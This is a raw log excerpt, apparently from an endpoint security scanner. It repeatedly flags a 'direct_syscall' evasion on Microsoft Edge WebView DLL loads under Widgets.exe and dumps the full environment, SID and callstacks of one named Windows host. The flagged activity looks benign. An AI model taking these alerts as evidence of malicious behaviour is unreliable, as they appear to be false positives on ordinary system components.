Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffca9468aac C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffca94326db C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca9418c8e C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca946815d C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffca9447367 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffca942a8de C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca9428ff5 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca9415619 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffcb858e556 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb858db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb8606922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcb85b9dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85b89d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cf09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda8f8e3 C:\Windows\System32\SHCore.dll!GetCurrentProcessExplicitAppUserModelID|0x7ffcdeab847d C:\Windows\System32\ntdll.dll!TpAlpcUnregisterCompletionList|0x7ffcdea563d9 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T16:34:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 15081689 + Pid: 12272 + Tid: 9996 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:34:30.8244843 +0100 CET + Params: base_address➜ 7ffcbc1a0000, checksum➜ 678716, default_address➜ 7ffcbc1a0000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12272, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 12272 + Ppid: 10144 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10144.11348.17994709373943217274 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10144.11348.17994709373943217274 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:12272 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_12272_UMOKPYZQSWNHCPXC EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:343 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd61923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd618af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd61966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffcdd61a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffcb85bd940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85bbb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85ba59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85c6d97 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85ce223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cdd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cdcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85d06d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T16:34:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 15082091 + Pid: 12272 + Tid: 16012 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:34:30.8379982 +0100 CET + Params: base_address➜ 7ffcbc0d0000, checksum➜ 879719, default_address➜ 7ffcbc0d0000, file_path➜ C:\Windows\System32\Windows.StateRepositoryPS.dll, image_size➜ 802816, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12272, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 12272 + Ppid: 10144 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10144.11348.17994709373943217274 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10144.11348.17994709373943217274 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:12272 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_12272_UMOKPYZQSWNHCPXC EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:343 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd7cb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7c8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffcdd764304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffcdd63b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd63b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd63a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd63a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd70ff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffcdd7a717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffcdd6677fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffcdd6662ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffcdd6b8013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffcdd67eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd6174bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcb85893f7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85886a6 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85c8cb7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85c6f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85ce223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cdd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cdcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85d06d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T16:34:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 15082409 + Pid: 12272 + Tid: 16012 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:34:30.8515542 +0100 CET + Params: base_address➜ 7ffcc9ab0000, checksum➜ 289238, default_address➜ 7ffcc9ab0000, file_path➜ C:\Windows\System32\aadWamExtension.dll, image_size➜ 229376, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12272, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 12272 + Ppid: 10144 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 